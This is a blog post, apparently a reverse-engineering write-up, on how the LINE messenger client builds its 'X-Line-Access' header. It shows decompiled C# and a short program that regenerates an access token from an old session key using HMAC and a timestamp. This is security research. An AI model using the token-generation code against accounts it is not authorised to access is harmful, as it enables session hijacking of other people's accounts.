It seems like LINE’s session key is changed when a user change his/her mobile phone or re-install the application. In other words, the session key won’t be changed if you don’t erase or change your mobile phone. This can cause security problems if someone change the code of LINE application and distribute it to the internet…but I don’t think it will happen :)

Bellow is the list of functions that I followed to find out how LINE update their authorization key.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
public void UpdateAuthToken(string authKey)
{
if (authKey != null)
{
this._transport.AddRequestHeader("X-Line-Access", AccessTokenHelper.GetAccessToken(authKey)); // add "X-Line-Access" header to HTTP(s) protocol
}
}
public void UpdateAuthToken(string authKey)
{
try
{
if (authKey != null)
{
this._transport.AddRequestHeader("X-Line-Access", AccessTokenHelper.GetAccessToken(authKey)); // add "X-Line-Access" header to HTTP(s) protocol
}
}
catch (Exception)
{
}
}
private void _addCustomHeader(HttpWebRequest httpWebRequest)
{
Profile current = ProfileViewModel.GetInstance().Current;
httpWebRequest.get_Headers().set_Item("X-Line-Access", AccessTokenHelper.GetAccessToken(current.AuthKey)); // add "X-Line-Access" header to HTTP(s) protocol
httpWebRequest.get_Headers().set_Item("X-Line-Application", DeviceUtility.GetLineApplicationString());
httpWebRequest.get_Headers().set_Item("Cache-Control", "no-cache");
httpWebRequest.get_Headers().set_Item("Pragma", "no-cache");
}
public static string GetAccessToken(string authKey)
{
long timestamp = (DateTime.get_UtcNow() - new DateTime(0x7b2, 1, 1, 0, 0, 0, 1)).get_TotalMilliseconds(); // use time stamp for making access token
return GetAccessToken(timestamp, authKey);
}
public static string GetAccessToken(long timestamp, string authKey)
{
if (((_accessToken == "") || !_accessToken.Equals(_lastAuthToken)) || (timestamp > (_lastUpdated + 0x5265c00L)))
{
lock (_thisLock)
{
_accessToken = Generate(authKey, timestamp);
_lastUpdated = timestamp;
_lastAuthToken = authKey;
}
}
return _accessToken;
}
public static string Generate(string authToken, long timestamp)
{
string[] strArray = authToken.Split(new char[] { ':' });
if (strArray.Length != 2)
{
throw new ArgumentException("authToken");
}
string issueTo = strArray[0]; // use previous authToken for the new authToken
string encodedSecretKey = strArray[1]; // use previous authToken for the new authToken
string str3 = YamlWebToken.Create(issueTo, timestamp, encodedSecretKey);
return (issueTo + ":" + str3);
}
public class YamlWebToken
{
// Fields
public static HmacAlgorithm DEFAULT_ALOGORITHM; // use Hmac algorith for generating token
// Methods
static YamlWebToken();
public YamlWebToken();
public static string Create(string issueTo, long timestamp, string encodedSecretKey);
public static string Create(string issuedTo, long timestamp, string encodedSecretKey, HmacAlgorithm algorithm);
// Nested Types
public class HmacAlgorithm
{
// Methods
public HmacAlgorithm(string name);
public static HMAC CreateInstance(string name, byte[] key);
// Properties
public string Name { get; set; }
}
}
public static string Create(string issueTo, long timestamp, string encodedSecretKey)
{
return Create(issueTo, timestamp, encodedSecretKey, DEFAULT_ALOGORITHM);
}
public static string Create(string issuedTo, long timestamp, string encodedSecretKey, HmacAlgorithm algorithm)
{
string str = "";
try
{
// core algorithm to make new session key
string str2 = string.Format("iat: {1}\n", issuedTo, timestamp);
string str3 = Convert.ToBase64String(Encoding.get_UTF8().GetBytes(str2));
string str4 = string.Empty;
string str5 = str3 + "." + str4;
byte[] key = Convert.FromBase64String(encodedSecretKey);
string str6 = Convert.ToBase64String(HmacAlgorithm.CreateInstance(algorithm.Name, key).ComputeHash(Encoding.get_UTF8().GetBytes(str5)));
str = str5 + "." + str6; // base64(issuedTo) + '..' + Hmac(SecretKey)
}
catch (Exception)
{
}
return str;
}

Anyway, I wrote an C# code that make updated session key…

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
namespace ConsoleApplication1
{
class Program
{
static void Main(string[] args)
{
String issuedTo = "1" ;
DateTime l = DateTime .UtcNow;
long timestamp = (long )((l - new DateTime(1970, 1, 1, 0, 0, 0, 1)).TotalMilliseconds);
String authToken = "????" // your old session key
string[] strArray = authToken.Split(new char[] { ':' });
string issueTo = strArray[0];
string encodedSecretKey = strArray[1];
string str2 = string .Format("iat: {1}\n", issuedTo, timestamp);
string str3 = Convert .ToBase64String(Encoding.UTF8.GetBytes(str2));
string str4 = string .Empty;
string str5 = str3 + "." + str4;
byte[] key = Convert .FromBase64String(encodedSecretKey);
string str6 = Convert.ToBase64String(LINE.Service.YamlWebToken .HmacAlgorithm.CreateInstance(LINE.Service.YamlWebToken.DEFAULT_ALOGORITHM.Name, key).ComputeHash(Encoding.UTF8.GetBytes(str5)));
String str = str5 + "." + str6; // base64(issuedTo) + '..' + Hmac(SecretKey)
}
}
}

Author: carpedm20